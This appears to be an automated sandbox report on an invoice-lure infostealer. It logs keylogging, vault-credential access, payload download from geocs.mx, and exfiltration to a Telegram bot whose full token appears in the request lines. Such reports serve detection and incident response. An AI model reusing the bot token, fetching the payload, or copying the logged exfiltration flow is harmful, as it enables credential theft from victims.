Source: global traffic	HTTP traffic detected: POST /bot7245016847:AAHTGgEGytVrrQCnyNC6RGvqcnPdZoR0H5U/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dcf98afee4d99aHost: api.telegram.orgContent-Length: 918Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /wp-includes/Hjewct.vdf HTTP/1.1Host: geocs.mxConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7245016847:AAHTGgEGytVrrQCnyNC6RGvqcnPdZoR0H5U/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dcf973572514ecHost: api.telegram.orgContent-Length: 981Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7245016847:AAHTGgEGytVrrQCnyNC6RGvqcnPdZoR0H5U/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dcf9857b3d199bHost: api.telegram.orgContent-Length: 918Expect: 100-continue

Source: Joe Sandbox View	IP Address: 173.237.185.182 173.237.185.182
Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205
Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205

Source: Joe Sandbox View

ASN Name: TELEGRAMRU TELEGRAMRU

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.109.210.53:443 -> 192.168.2.6:49818
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.109.210.53:443 -> 192.168.2.6:51758

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /wp-includes/Hjewct.vdf HTTP/1.1Host: geocs.mxConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-includes/Hjewct.vdf HTTP/1.1Host: geocs.mxConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: geocs.mx
Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Source: unknown

HTTP traffic detected: POST /bot7245016847:AAHTGgEGytVrrQCnyNC6RGvqcnPdZoR0H5U/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dcf97349026ea0Host: api.telegram.orgContent-Length: 981Expect: 100-continueConnection: Keep-Alive

Source: InstallUtil.exe, 00000003.00000002.2755078286.00000000028F4000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.2755078286.000000000296B000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3529968351.00000000028C4000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3529968351.000000000294D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: Proforma Invoice.scr.exe, 00000000.00000002.2454133386.0000000002571000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.2755078286.0000000002871000.00000004.00000800.00020000.00000000.sdmp, EncoderFallback.exe, 00000006.00000002.2753904041.0000000002B91000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3529968351.000000000284C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Proforma Invoice.scr.exe, 00000000.00000002.2454133386.00000000029D4000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2463724121.0000000003766000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2463724121.00000000036A9000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.2750748078.0000000000342000.00000040.00000400.00020000.00000000.sdmp, EncoderFallback.exe, 00000006.00000002.2771284089.0000000003DBF000.00000004.00000800.00020000.00000000.sdmp, EncoderFallback.exe, 00000006.00000002.2771284089.0000000003CDF000.00000004.00000800.00020000.00000000.sdmp, EncoderFallback.exe, 00000006.00000002.2753904041.0000000002D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: Proforma Invoice.scr.exe, 00000000.00000002.2454133386.00000000029D4000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2463724121.0000000003766000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2463724121.00000000036A9000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.2750748078.0000000000342000.00000040.00000400.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.2755078286.0000000002871000.00000004.00000800.00020000.00000000.sdmp, EncoderFallback.exe, 00000006.00000002.2771284089.0000000003DBF000.00000004.00000800.00020000.00000000.sdmp, EncoderFallback.exe, 00000006.00000002.2771284089.0000000003CDF000.00000004.00000800.00020000.00000000.sdmp, EncoderFallback.exe, 00000006.00000002.2753904041.0000000002D72000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3529968351.000000000284C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: InstallUtil.exe, 00000003.00000002.2755078286.0000000002871000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3529968351.000000000284C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: InstallUtil.exe, 00000003.00000002.2755078286.0000000002871000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3529968351.000000000284C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/t
Source: InstallUtil.exe, 00000003.00000002.2755078286.00000000028F4000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.2755078286.000000000296B000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3529968351.00000000028C4000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3529968351.000000000294D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: Proforma Invoice.scr.exe, 00000000.00000002.2454133386.00000000029D4000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2463724121.0000000003766000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2463724121.00000000036A9000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.2750748078.0000000000342000.00000040.00000400.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.2755078286.0000000002871000.00000004.00000800.00020000.00000000.sdmp, EncoderFallback.exe, 00000006.00000002.2771284089.0000000003DBF000.00000004.00000800.00020000.00000000.sdmp, EncoderFallback.exe, 00000006.00000002.2771284089.0000000003CDF000.00000004.00000800.00020000.00000000.sdmp, EncoderFallback.exe, 00000006.00000002.2753904041.0000000002D72000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3529968351.000000000284C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7245016847:AAHTGgEGytVrrQCnyNC6RGvqcnPdZoR0H5U/
Source: InstallUtil.exe, 00000003.00000002.2755078286.00000000028F4000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.2755078286.000000000296B000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3529968351.00000000028C4000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3529968351.000000000294D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7245016847:AAHTGgEGytVrrQCnyNC6RGvqcnPdZoR0H5U/sendDocument
Source: Proforma Invoice.scr.exe, 00000000.00000002.2454133386.0000000002571000.00000004.00000800.00020000.00000000.sdmp, EncoderFallback.exe, 00000006.00000002.2753904041.0000000002B91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://geocs.mx
Source: Proforma Invoice.scr.exe, EncoderFallback.exe.0.dr	String found in binary or memory: https://geocs.mx/wp-includes/Hjewct.vdf
Source: Proforma Invoice.scr.exe, 00000000.00000002.2480596735.0000000006360000.00000004.08000000.00040000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2463724121.0000000003766000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2463724121.0000000003A22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: Proforma Invoice.scr.exe, 00000000.00000002.2480596735.0000000006360000.00000004.08000000.00040000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2463724121.0000000003766000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2463724121.0000000003A22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: Proforma Invoice.scr.exe, 00000000.00000002.2480596735.0000000006360000.00000004.08000000.00040000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2463724121.0000000003766000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2463724121.0000000003A22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: Proforma Invoice.scr.exe, 00000000.00000002.2480596735.0000000006360000.00000004.08000000.00040000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2463724121.0000000003766000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2463724121.0000000003A22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: Proforma Invoice.scr.exe, 00000000.00000002.2480596735.0000000006360000.00000004.08000000.00040000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2454133386.0000000002618000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2463724121.0000000003766000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2463724121.0000000003A22000.00000004.00000800.00020000.00000000.sdmp, EncoderFallback.exe, 00000006.00000002.2753904041.0000000002C37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: Proforma Invoice.scr.exe, 00000000.00000002.2480596735.0000000006360000.00000004.08000000.00040000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2463724121.0000000003766000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2463724121.0000000003A22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354

Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51775
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51776
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51774
Source: unknown	Network traffic detected: HTTP traffic on port 51775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910

Source: unknown	HTTPS traffic detected: 173.237.185.182:443 -> 192.168.2.6:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.6:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:49879 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 173.237.185.182:443 -> 192.168.2.6:49910 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.6:51774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:51775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:51776 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Installs a global keyboard hook

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Windows user hook set: 0 keyboard low level C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window created: window name: CLIPBRDWNDCLASS			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window created: window name: CLIPBRDWNDCLASS			Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.Proforma Invoice.scr.exe.36bf7a0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 6.2.EncoderFallback.exe.3cf5570.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.Proforma Invoice.scr.exe.36bf7a0.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 3.2.InstallUtil.exe.340000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 6.2.EncoderFallback.exe.3cf5570.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: Proforma Invoice.scr.exe

Sample has a suspicious name (potential lure to open the executable)

Source: Proforma Invoice.scr.exe

Static file information: Suspicious name

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Code function: 6_2_05D36EE0 NtResumeThread,	6_2_05D36EE0
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Code function: 6_2_05D35EA8 NtProtectVirtualMemory,	6_2_05D35EA8
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Code function: 6_2_05D36ED8 NtResumeThread,	6_2_05D36ED8
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Code function: 6_2_05D35EA0 NtProtectVirtualMemory,	6_2_05D35EA0

Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Code function: 0_2_05A008A0	0_2_05A008A0
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Code function: 0_2_05A02A88	0_2_05A02A88
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Code function: 0_2_059B6E5B	0_2_059B6E5B
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Code function: 0_2_008EE630	0_2_008EE630
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Code function: 0_2_008ECEA0	0_2_008ECEA0
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Code function: 0_2_008E90D1	0_2_008E90D1
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Code function: 0_2_008E90E0	0_2_008E90E0
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Code function: 0_2_008E96F9	0_2_008E96F9
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Code function: 0_2_06DDE2F0	0_2_06DDE2F0
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Code function: 0_2_06DC0040	0_2_06DC0040
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Code function: 0_2_06DC003A	0_2_06DC003A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 3_2_00B74178	3_2_00B74178
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 3_2_00B7E205	3_2_00B7E205
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 3_2_00B7AA13	3_2_00B7AA13
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 3_2_00B74A48	3_2_00B74A48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 3_2_00B73E30	3_2_00B73E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 3_2_05E691E7	3_2_05E691E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 3_2_05E645B0	3_2_05E645B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 3_2_05E63560	3_2_05E63560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 3_2_05E65D40	3_2_05E65D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 3_2_05E6A148	3_2_05E6A148
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 3_2_05E61020	3_2_05E61020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 3_2_05E6E282	3_2_05E6E282
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 3_2_05E63C9B	3_2_05E63C9B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 3_2_05E6C360	3_2_05E6C360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 3_2_05E602F9	3_2_05E602F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 3_2_05E65660	3_2_05E65660
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Code function: 6_2_0123E630	6_2_0123E630
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Code function: 6_2_0123CEA0	6_2_0123CEA0
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Code function: 6_2_012390E0	6_2_012390E0
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Code function: 6_2_012390D1	6_2_012390D1
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Code function: 6_2_012396F9	6_2_012396F9
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Code function: 6_2_05D215B8	6_2_05D215B8
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Code function: 6_2_05D26C59	6_2_05D26C59
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Code function: 6_2_05D26C68	6_2_05D26C68
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Code function: 6_2_05D216D0	6_2_05D216D0
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Code function: 6_2_05D21225	6_2_05D21225
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Code function: 6_2_05D323A0	6_2_05D323A0
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Code function: 6_2_05D31708	6_2_05D31708
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Code function: 6_2_05D316F8	6_2_05D316F8
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Code function: 6_2_05D3B969	6_2_05D3B969
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Code function: 6_2_0739E2F0	6_2_0739E2F0
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Code function: 6_2_07380007	6_2_07380007
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Code function: 6_2_07380040	6_2_07380040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_00F74178	7_2_00F74178
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_00F74A48	7_2_00F74A48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_00F7AA13	7_2_00F7AA13
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_00F7DBD8	7_2_00F7DBD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_00F73E30	7_2_00F73E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_062C3560	7_2_062C3560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_062C5D40	7_2_062C5D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_062C45B0	7_2_062C45B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_062CE3E5	7_2_062CE3E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_062C1020	7_2_062C1020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_062CA148	7_2_062CA148
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_062C91E7	7_2_062C91E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_062C5660	7_2_062C5660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_062C3C9B	7_2_062C3C9B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_062C02F9	7_2_062C02F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_062CC360	7_2_062CC360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_00F7E46B	7_2_00F7E46B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_00F7DF89	7_2_00F7DF89

Source: Proforma Invoice.scr.exe	Binary or memory string: OriginalFilename vs Proforma Invoice.scr.exe
Source: Proforma Invoice.scr.exe, 00000000.00000002.2480596735.0000000006360000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs Proforma Invoice.scr.exe
Source: Proforma Invoice.scr.exe, 00000000.00000002.2454133386.00000000029D4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename733a6bb5-19fe-4822-8fda-5eaf140f8bd0.exe4 vs Proforma Invoice.scr.exe
Source: Proforma Invoice.scr.exe, 00000000.00000002.2463724121.0000000003578000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs Proforma Invoice.scr.exe
Source: Proforma Invoice.scr.exe, 00000000.00000000.2255212878.0000000000284000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameAvhywekp.exe2 vs Proforma Invoice.scr.exe
Source: Proforma Invoice.scr.exe, 00000000.00000002.2454133386.0000000002911000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs Proforma Invoice.scr.exe
Source: Proforma Invoice.scr.exe, 00000000.00000002.2454133386.0000000002911000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAvhywekp.exe2 vs Proforma Invoice.scr.exe
Source: Proforma Invoice.scr.exe, 00000000.00000002.2454133386.00000000025BD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs Proforma Invoice.scr.exe
Source: Proforma Invoice.scr.exe, 00000000.00000002.2453582503.00000000008FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Proforma Invoice.scr.exe
Source: Proforma Invoice.scr.exe, 00000000.00000002.2479169226.0000000006110000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameEpjjhbuhzzx.dll" vs Proforma Invoice.scr.exe
Source: Proforma Invoice.scr.exe, 00000000.00000002.2463724121.0000000003766000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameEpjjhbuhzzx.dll" vs Proforma Invoice.scr.exe
Source: Proforma Invoice.scr.exe, 00000000.00000002.2463724121.0000000003766000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs Proforma Invoice.scr.exe
Source: Proforma Invoice.scr.exe, 00000000.00000002.2463724121.00000000036A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename733a6bb5-19fe-4822-8fda-5eaf140f8bd0.exe4 vs Proforma Invoice.scr.exe
Source: Proforma Invoice.scr.exe, 00000000.00000002.2463724121.0000000003758000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameEpjjhbuhzzx.dll" vs Proforma Invoice.scr.exe
Source: Proforma Invoice.scr.exe, 00000000.00000002.2463724121.0000000003A22000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs Proforma Invoice.scr.exe
Source: Proforma Invoice.scr.exe, 00000000.00000002.2463724121.0000000003633000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs Proforma Invoice.scr.exe
Source: Proforma Invoice.scr.exe, 00000000.00000002.2469463430.00000000059B0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs Proforma Invoice.scr.exe
Source: Proforma Invoice.scr.exe	Binary or memory string: OriginalFilenameAvhywekp.exe2 vs Proforma Invoice.scr.exe

Source: Proforma Invoice.scr.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.Proforma Invoice.scr.exe.36bf7a0.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 6.2.EncoderFallback.exe.3cf5570.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.Proforma Invoice.scr.exe.36bf7a0.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 3.2.InstallUtil.exe.340000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 6.2.EncoderFallback.exe.3cf5570.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers

Source: Proforma Invoice.scr.exe, Aqzdppc.cs	Cryptographic APIs: 'CreateDecryptor'
Source: EncoderFallback.exe.0.dr, Aqzdppc.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.Proforma Invoice.scr.exe.38513e0.7.raw.unpack, rPpUx8IYtCf2OCkidwJ.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.Proforma Invoice.scr.exe.38513e0.7.raw.unpack, rPpUx8IYtCf2OCkidwJ.cs	Cryptographic APIs: 'CreateDecryptor'
